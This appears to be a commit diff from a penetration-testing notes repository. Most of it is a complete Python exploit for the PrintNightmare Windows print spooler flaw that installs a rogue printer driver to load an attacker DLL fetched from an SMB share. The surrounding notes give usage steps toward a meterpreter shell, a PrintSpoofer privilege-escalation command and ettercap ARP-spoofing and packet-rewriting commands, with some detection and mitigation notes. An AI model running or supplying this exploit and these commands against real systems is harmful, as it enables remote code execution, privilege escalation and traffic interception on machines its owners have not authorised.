Suppose your Linux machine has the IP `192.168.1.100` and you wish to serve the `evil.dll`, then the UNC path in this scenario will be `\\192.168.1.100\smb\evil.dll`.
## Authors
- [@ly4k](https://github.com/ly4k)
## Credits
- [@cube0x0](https://github.com/cube0x0)'s [implementation](https://github.com/cube0x0/CVE-2021-1675)
- [Impacket](https://github.com/SecureAuthCorp/impacket)

View File

@ -0,0 +1,760 @@
#!/usr/bin/python3
#
# PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
#
# Authors:
# @ly4k (https://github.com/ly4k)
#
# Credit:
# @cube0x0 (https://github.com/cube0x0)
#
# Description:
# PrintNightmare implementation using standard Impacket
#
# PrintNightmare consists of two CVE's, CVE-2021-1675 & CVE-2021-34527.
#
# CVE-2021-1675
# A non-administrator user is allowed to add a new printer driver.
# This vulnerability was fixed by only allowing administrators to
# add a new printer driver. A patched printer spooler will return RPC_E_ACCESS_DENIED
# whenever a non-administrator tries to add a new printer driver.
#
# CVE-2021-34527
# When creating a new printer driver, the pDriverPath and pConfigFile parameters
# are checked for UNC paths, and is only allowed to be local paths. However,
# the pDataFile parameter is not constrained to local paths. Only pDriverPath and pConfigFile
# will be loaded for security reaons, not pDataFile. This vulnerability was fixed by not allowing
# UNC paths in the pDataFile parameter. A patched printer spooler will return ERROR_INVALID_PARAMETER
# when using a UNC path in pDataFile.
#
# This exploit also works with a local path instead of an UNC path.
import sys
import logging
import argparse
import pathlib
from impacket import system_errors, version
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket.examples import logger
from impacket.examples.utils import parse_target
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
from impacket.dcerpc.v5.rprn import (
checkNullString,
STRING_HANDLE,
PBYTE_ARRAY,
)
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "RPRN SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
# CONSTANTS
################################################################################
# MS-RPRN - 3.1.4.4.8
APD_COPY_ALL_FILES = 0x00000004
APD_COPY_FROM_DIRECTORY = 0x00000010
APD_INSTALL_WARNED_DRIVER = 0x00008000
# MS-RPRN - 3.1.4.4.7
DPD_DELETE_UNUSED_FILES = 0x00000001
# https://docs.microsoft.com/en-us/windows/win32/com/com-error-codes-3
RPC_E_ACCESS_DENIED = 0x8001011B
system_errors.ERROR_MESSAGES[RPC_E_ACCESS_DENIED] = (
"RPC_E_ACCESS_DENIED",
"Access is denied.",
)
################################################################################
# STRUCTURES
################################################################################
# MS-RPRN - 2.2.1.5.1
class DRIVER_INFO_1(NDRSTRUCT):
structure = (("pName", STRING_HANDLE),)
class PDRIVER_INFO_1(NDRPOINTER):
referent = (("Data", DRIVER_INFO_1),)
# MS-RPRN - 2.2.1.5.2
class DRIVER_INFO_2(NDRSTRUCT):
structure = (
("cVersion", DWORD),
("pName", LPWSTR),
("pEnvironment", LPWSTR),
("pDriverPath", LPWSTR),
("pDataFile", LPWSTR),
("pConfigFile", LPWSTR),
)
class PDRIVER_INFO_2(NDRPOINTER):
referent = (("Data", DRIVER_INFO_2),)
class DRIVER_INFO_2_BLOB(Structure):
structure = (
("cVersion", "<L"),
("NameOffset", "<L"),
("EnvironmentOffset", "<L"),
("DriverPathOffset", "<L"),
("DataFileOffset", "<L"),
("ConfigFileOffset", "<L"),
)
def __init__(self, data=None):
Structure.__init__(self, data=data)
def fromString(self, data, offset=0):
Structure.fromString(self, data)
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
name_len = name.find("\0")
self["Name"] = checkNullString(name[:name_len])
self["ConfigFile"] = data[
self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset
].decode("utf-16-le")
self["DataFile"] = data[
self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset
].decode("utf-16-le")
self["DriverPath"] = data[
self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset
].decode("utf-16-le")
self["Environment"] = data[
self["EnvironmentOffset"] + offset : self["NameOffset"] + offset
].decode("utf-16-le")
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data=None, pcReturned=None):
Structure.__init__(self, data=data)
self["drivers"] = list()
remaining = data
if data is not None:
for _ in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self["drivers"].append(attr)
remaining = remaining[len(attr) :]
class DRIVER_INFO_UNION(NDRUNION):
commonHdr = (("tag", ULONG),)
union = {
1: ("pNotUsed", PDRIVER_INFO_1),
2: ("Level2", PDRIVER_INFO_2),
}
# MS-RPRN - 3.1.4.1.8.3
class DRIVER_CONTAINER(NDRSTRUCT):
structure = (
("Level", DWORD),
("DriverInfo", DRIVER_INFO_UNION),
)
################################################################################
# RPC CALLS
################################################################################
# MS-RPRN - 3.1.4.4.2
class RpcEnumPrinterDrivers(NDRCALL):
opnum = 10
structure = (
("pName", STRING_HANDLE),
("pEnvironment", LPWSTR),
("Level", DWORD),
("pDrivers", PBYTE_ARRAY),
("cbBuf", DWORD),
)
class RpcEnumPrinterDriversResponse(NDRCALL):
structure = (
("pDrivers", PBYTE_ARRAY),
("pcbNeeded", DWORD),
("pcReturned", DWORD),
("ErrorCode", ULONG),
)
# MS-RPRN - 3.1.4.4.8
class RpcAddPrinterDriverEx(NDRCALL):
opnum = 89
structure = (
("pName", STRING_HANDLE),
("pDriverContainer", DRIVER_CONTAINER),
("dwFileCopyFlags", DWORD),
)
class RpcAddPrinterDriverExResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
# MS-RPRN - 3.1.4.4.7
class RpcDeletePrinterDriverEx(NDRCALL):
opnum = 84
structure = (
("pName", STRING_HANDLE),
("pEnvironment", WSTR),
("pDriverName", WSTR),
("dwDeleteFlag", DWORD),
("dwVersionNum", DWORD),
)
class RpcDeletePrinterDriverExResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
################################################################################
# OPNUMs and their corresponding structures
################################################################################
OPNUMS = {
10: (RpcEnumPrinterDrivers, RpcEnumPrinterDriversResponse),
84: (RpcDeletePrinterDriverEx, RpcDeletePrinterDriverExResponse),
89: (RpcAddPrinterDriverEx, RpcAddPrinterDriverExResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def hRpcEnumPrinterDrivers(dce, pName, pEnvironment, Level):
request = RpcEnumPrinterDrivers()
request["pName"] = checkNullString(pName)
request["pEnvironment"] = checkNullString(pEnvironment)
request["Level"] = Level
request["pDrivers"] = NULL
request["cbBuf"] = 0
try:
dce.request(request)
except DCERPCSessionError as e:
if str(e).find("ERROR_INSUFFICIENT_BUFFER") < 0:
raise
bytesNeeded = e.get_packet()["pcbNeeded"]
request = RpcEnumPrinterDrivers()
request["pName"] = checkNullString(pName)
request["pEnvironment"] = checkNullString(pEnvironment)
request["Level"] = Level
request["pDrivers"] = b"\0" * bytesNeeded
request["cbBuf"] = bytesNeeded
return dce.request(request)
def hRpcAddPrinterDriverEx(dce, pName, pDriverContainer, dwFileCopyFlags):
request = RpcAddPrinterDriverEx()
request["pName"] = checkNullString(pName)
request["pDriverContainer"] = pDriverContainer
request["dwFileCopyFlags"] = dwFileCopyFlags
return dce.request(request)
def hRpcDeletePrinterDriverEx(
dce, pName, pEnvironment, pDriverName, dwDeleteFlag, dwVersionNum
):
request = RpcDeletePrinterDriverEx()
request["pName"] = checkNullString(pName)
request["pEnvironment"] = checkNullString(pEnvironment)
request["pDriverName"] = checkNullString(pDriverName)
request["dwDeleteFlag"] = dwDeleteFlag
request["dwVersionNum"] = dwVersionNum
return dce.request(request)
################################################################################
# PrintNightmare
################################################################################
class PrintNightmare:
def __init__(
self,
username="",
password="",
domain="",
hashes=None,
port=135,
remote_name="",
target_ip="",
do_kerberos=False,
dc_host="",
):
self.username = username
self.password = password
self.domain = domain
self.lmhash = ""
self.nthash = ""
self.port = port
self.remote_name = remote_name
self.target_ip = target_ip
self.do_kerberos = do_kerberos
self.dc_host = dc_host
if hashes is not None:
hashes = hashes.split(":")
if len(hashes) == 1:
(nthash,) = hashes
self.lmhash = self.nthash = nthash
else:
self.lmhash, self.nthash = hashes
def connect(self):
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % self.remote_name
logging.debug("Binding to %s" % (repr(stringbinding)))
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_credentials(
self.username,
self.password,
self.domain,
self.lmhash,
self.nthash,
)
rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.dc_host)
rpctransport.setRemoteHost(self.target_ip)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
logging.error("Failed to bind: %s" % e)
sys.exit(1)
logging.debug("Bind OK")
return dce
def getDriverPath(self, dce, environment):
# List current drivers to find the 'FileDirectory' directory
# This directory has some unique parts of the full path
# 'UNIDRV.DLL' is a default printer driver DLL
drivers = self.list(environment, dce)
for driver in drivers:
if "filerepository" in driver["DriverPath"].lower():
return (
str(pathlib.PureWindowsPath(driver["DriverPath"]).parent)
+ r"\UNIDRV.DLL"
)
logging.error("Failed to find printer drivers. See -list")
sys.exit(1)
def list(self, environment, dce=None):
# Use RpcEnumPrinterDrivers to get existing printer drivers
logging.info("Enumerating printer drivers")
if dce == None:
dce = self.connect()
resp = hRpcEnumPrinterDrivers(dce, NULL, environment, 2)
blobs = DRIVER_INFO_2_ARRAY(b"".join(resp["pDrivers"]), resp["pcReturned"])
drivers = blobs["drivers"]
return drivers
def delete(self, environment, name):
# Use RpcDeletePrinterDriverEx to delete printer driver
# and associated ununsed files. This will only delete the remote
# DLL. May require administrative privileges
dce = self.connect()
try:
hRpcDeletePrinterDriverEx(
dce, NULL, environment, name, DPD_DELETE_UNUSED_FILES, 0
)
except DCERPCSessionError as e:
logging.error("Failed to delete printer driver: %s" % e)
sys.exit(1)
except DCERPCException as e:
if e.error_code == system_errors.ERROR_ACCESS_DENIED:
logging.error(
"Got access denied while trying to delete printer driver: %s" % e
)
sys.exit(1)
logging.error("Failed to delete printer driver: %s" % e)
sys.exit(1)
logging.info("Deleted printer driver!")
def check(self):
# Check if target is vulnerable to CVE-2021-1675 by
# creating an empty printer driver that will fail.
# Depending on the error code, it's possible to determine
# it has been patched.
dce = self.connect()
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
driver_container = DRIVER_CONTAINER()
driver_container["Level"] = 2
driver_container["DriverInfo"]["tag"] = 2
driver_container["DriverInfo"]["Level2"]["cVersion"] = 0
driver_container["DriverInfo"]["Level2"]["pName"] = NULL
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = NULL
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = NULL
driver_container["DriverInfo"]["Level2"]["pDataFile"] = NULL
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = NULL
try:
hRpcAddPrinterDriverEx(
dce,
pName=NULL,
pDriverContainer=driver_container,
dwFileCopyFlags=flags,
)
except DCERPCSessionError as e:
# RPC_E_ACCESS_DENIED is returned on patched systems, when
# a non-administrative user tries to create a new printer
# driver
if e.error_code == RPC_E_ACCESS_DENIED:
return False
# If vulnerable, 'ERROR_INVALID_PARAMETER' will be returned
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
return True
raise e
return True
def exploit(
self, driver_name="", environment="", driver_path="", dll_path="", iterator=10
):
# Use CVE-2021-34527 and CVE-2021-1675 to copy over and laod remote DLL
dce = self.connect()
if driver_path == "":
driver_path = self.getDriverPath(dce, environment)
logging.info("Driver name: %s" % repr(driver_name))
logging.info("Driver path: %s" % repr(driver_path))
logging.info("DLL path: %s" % repr(dll_path))
is_unc = False
if dll_path.startswith("\\\\"):
is_unc = True
# Create a new DRIVER_CONTAINER for RpcAddPrinterDriverEx
# 'DriverPath' must be a valid printer driver. 'UNIDRV.dll' is used by default.
# 'ConfigFile' must be valid local DLL. It will get loaded.
# 'DataFile' is the remote or local DLL that will loaded. It will not get loaded, only copied.
driver_container = DRIVER_CONTAINER()
driver_container["Level"] = 2
driver_container["DriverInfo"]["tag"] = 2
driver_container["DriverInfo"]["Level2"]["cVersion"] = 3
driver_container["DriverInfo"]["Level2"]["pName"] = checkNullString(driver_name)
driver_container["DriverInfo"]["Level2"]["pEnvironment"] = checkNullString(
environment
)
driver_container["DriverInfo"]["Level2"]["pDriverPath"] = checkNullString(
driver_path
)
driver_container["DriverInfo"]["Level2"]["pDataFile"] = checkNullString(
dll_path
)
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
"C:\\Windows\\System32\\kernelbase.dll"
)
# https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex
# APD_COPY_ALL_FILES - Add the printer driver and copy all the files in the printer-driver directory.
# APD_COPY_FROM_DIRECTORY - Add the printer driver using the fully qualified file names
# APD_INSTALL_WARNED_DRIVER - Even if the driver is unreliable, it is installed and no warning is given
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
if is_unc:
logging.info("Copying over DLL")
else:
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
dll_path
)
logging.info("Loading DLL")
# Add new printer driver. This will copy the remote DLL to a C:\Windows\system32\spool\drivers\x64\3
try:
hRpcAddPrinterDriverEx(
dce,
pName=NULL,
pDriverContainer=driver_container,
dwFileCopyFlags=flags,
)
except DCERPCSessionError as e:
if e.error_code == system_errors.ERROR_BAD_NET_RESP:
logging.error(
"Got bad response while adding printer driver. This can happen when using smbserver.py from Impacket. Try using Samba instead (%s)"
% e
)
sys.exit(1)
if e.error_code == RPC_E_ACCESS_DENIED:
logging.error(
"Failed to create printer driver. Target is most likely patched"
)
sys.exit(1)
logging.error("Failed to create printer driver: %s" % e)
sys.exit(1)
if is_unc:
logging.info("Successfully copied over DLL")
else:
logging.info("Successfully loaded DLL")
sys.exit(1)
logging.info("Trying to load DLL")
filename = pathlib.PureWindowsPath(dll_path).name
# Whenever the printer driver is overwritten, the previous DLL's will be saved
# to C:\Windows\system32\spool\drivers\x64\3\old\<I>\, where <I> is incremented
# for each DLL. To find the remote DLL requires a subtle bruteforcing. Usually,
# it will work in second iteration if run for the first time. If the exploit
# is run again and the same filename is used, the first DLL will get loaded, since
# it's not immediately removed from the 'old' directory.
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
"C:\\Windows\\System32\\ntdll.dll"
)
try:
resp = hRpcAddPrinterDriverEx(
dce,
pName=NULL,
pDriverContainer=driver_container,
dwFileCopyFlags=flags,
)
except DCERPCSessionError as e:
print("Got unexpected error: %s" % e)
i = 1
while True:
driver_container["DriverInfo"]["Level2"]["pConfigFile"] = checkNullString(
"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s"
% (i, filename)
)
try:
resp = hRpcAddPrinterDriverEx(
dce,
pName=NULL,
pDriverContainer=driver_container,
dwFileCopyFlags=flags,
)
if resp["ErrorCode"] == 0:
logging.info(
"Successfully loaded DLL from: %s"
% (
"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\%i\\%s"
% (i, filename)
)
)
sys.exit(1)
except DCERPCSessionError as e:
if e.error_code == system_errors.ERROR_PATH_NOT_FOUND:
logging.warning("Loading DLL failed. Try again.")
sys.exit(1)
if e.error_code != system_errors.ERROR_FILE_NOT_FOUND:
logging.warning(
"Got unexpected error while trying to load DLL: %s" % e
)
i += 1
if __name__ == "__main__":
print(version.BANNER)
logger.init()
parser = argparse.ArgumentParser(
add_help=True,
description="PrintNightmare (CVE-2021-1675 / CVE-2021-34527)",
)
parser.add_argument(
"target",
action="store",
help="[[domain/]username[:password]@]<targetName or address>",
)
parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
group = parser.add_argument_group("connection")
group.add_argument(
"-port",
choices=["139", "445"],
nargs="?",
default="445",
metavar="destination port",
help="Destination port to connect to MS-RPRN named pipe",
)
group.add_argument(
"-target-ip",
action="store",
metavar="ip address",
help="IP Address of the target machine. If "
"ommited it will use whatever was specified as target. This is useful when target is the NetBIOS "
"name and you cannot resolve it",
)
group = parser.add_argument_group("authentication")
group.add_argument(
"-hashes",
action="store",
metavar="LMHASH:NTHASH",
help="NTLM hashes, format is LMHASH:NTHASH",
)
parser.add_argument(
"-no-pass", action="store_true", help="don't ask for password (useful for -k)"
)
parser.add_argument(
"-k",
action="store_true",
help="Use Kerberos authentication. Grabs credentials from ccache file "
"(KRB5CCNAME) based on target parameters. If valid credentials "
"cannot be found, it will use the ones specified in the command "
"line",
)
parser.add_argument(
"-dc-ip",
action="store",
metavar="ip address",
help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter",
)
group = parser.add_argument_group("driver")
group.add_argument(
"-name",
action="store",
metavar="driver name",
default="Microsoft XPS Document Writer v5",
help="Name for driver",
)
group.add_argument(
"-env",
action="store",
metavar="driver name",
default="Windows x64",
help="Environment for driver",
)
group.add_argument(
"-path", action="store", metavar="driver path", help="Driver path for driver"
)
group.add_argument("-dll", action="store", metavar="driver dll", help="Path to DLL")
group = parser.add_argument_group("modes")
group.add_argument(
"-check", action="store_true", help="Check if target is vulnerable"
)
group.add_argument(
"-list",
action="store_true",
help="List existing printer drivers",
)
group.add_argument("-delete", action="store_true", help="Deletes printer driver")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password, remote_name = parse_target(options.target)
if domain is None:
domain = ""
if (
password == ""
and username != ""
and options.hashes is None
and options.no_pass is not True
):
from getpass import getpass
password = getpass("Password:")
if options.target_ip is None:
options.target_ip = remote_name
if options.path is None:
options.path = ""
print_nightmare = PrintNightmare(
username=username,
password=password,
domain=domain,
hashes=options.hashes,
do_kerberos=options.k,
dc_host=options.dc_ip,
port=int(options.port),
remote_name=remote_name,
target_ip=options.target_ip,
)
if options.check is not False:
if print_nightmare.check():
logging.info("Target appears to be vulnerable!")
else:
logging.warning("Target does not appear to be vulnerable")
sys.exit(1)
if options.list is not False:
for driver in print_nightmare.list(options.env):
print("Name: %s" % driver["Name"])
print("Environment: %s" % driver["Environment"])
print("Driver path: %s" % driver["DriverPath"])
print("Data file: %s" % driver["DataFile"])
print("Config file: %s" % driver["ConfigFile"])
print("Version: %s" % driver["cVersion"])
print("-" * 64)
sys.exit(1)
if options.delete is not False:
print_nightmare.delete(options.env, options.name)
sys.exit(1)
if options.dll is None:
logging.error("A path to a DLL is required when running the exploit")
sys.exit(1)
print_nightmare.exploit(options.name, options.env, options.path, options.dll)

View File

@ -0,0 +1,47 @@
# Print Nightmare
* Privilege Escalation using Print Spooler Service
* Located at `C:\Windows\System32\spoolsv.exe`
* Enabled by default
* [CVE-2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) (locally exploitable) and [CVE-2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) (RCE) are both related to the print spooler
* RCE connection is done via [DCE/RPC](https://wiki.wireshark.org/DCE/RPC). Use of `RpcAddPrinterDriver` or `RpcAddPrinterDriverEx`
## Usage
* Prepare reverse shell
* Check if target would be vulnerable
```sh
rpcdump.py @$TARGET_IP | grep -e 'MS-RPRN|MS-PAR'
```
* Execute smb server
```sh
smbserver.py share . -smb2support
```
* Execute PoC with credentials to elevate
```sh
python CVE-2021-1675.py <domain of domaincontroller>/<user>:<password>@$TARGET_IP
```
* Use the meterpreter session
## IOCs
* `pcAddPrinterDriverEx()` is called
* [Sygnia](https://www.sygnia.co/demystifying-the-printnightmare-vulnerability) explains them
* [Splunk queries](https://www.splunk.com/en_us/blog/security/i-pity-the-spool-detecting-printnightmare-cve-2021-34527.html)
* Logs are `Microsoft-Windows-PrintService/Admin` and `Microsoft-Windows-PrintService/Operational`
* Event Ids `316, 808, 811, 31017, 7031`
## Mitigation
* [link](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527)
* Stop and disable
```sh
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
```
* Disable group policy
```sh
Computer Configuration/Administrative Templates/Printers
```

View File

@ -0,0 +1,10 @@
# printspoofer
PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
To escalate privileges, the service account must have SeImpersonate privileges. To execute:
```bash
PrintSpoofer.exe -i -c cmd
```
With appropriate privileges this should grant system user shell access.

@ -1 +0,0 @@
Subproject commit 29a9e27f5418317bd5f4560ccfebcb65ca181b32

23
forensics/kape.md Normal file
View File

@ -0,0 +1,23 @@
# Kroll Artifact Parser
* Collect and processes artifacts on windows
* Collects from live systems, mounted images and F-response tool
## Targets
* Needs source and target directory, as well as a module to process the files on
* `Target` copies a file into a repository
* `*.tkape` files contains metadata of the files to copy
* `Compound Targets` contain metadata of multiple files in order to get a result quicker
* `!Disable` do not appear in the target list
* `!Local` keep on local
## Modules
* Used on the targeted files
* `*.mkape` files
* Additional binaries are kept in `bin`

View File

@ -3,4 +3,29 @@
* [Ettercap](https://www.ettercap-project.org/)
* [Bettercap](https://www.bettercap.org/)
* ARP spoofing via ettercap and read traffic. Press q to reverse to pre mitm arp caches
```sh
ettercap -T -i <interface> -M arp
```
* Etterfilter can filter and restructure packets
```sh
man etterfilter
```
```sh
if (ip.proto == TCP && tcp.dst == 80 && search(DATA.data, "filename.html") ) {
log(DATA.data, "/tmp/ettercap.log");
replace("filename.html", "otherfilename.html" );
msg("###### ETTERFILTER: substituted 'filename.html' with 'otherfilename.html' ######\n");
}
```
* Escape double quote inside the payload string
* compile via
```sh
etterfilter filter.ef -o filter.ef
```
* Run the filter via
```sh
ettercap -T -i <interface> -M arp -F filter.ef
```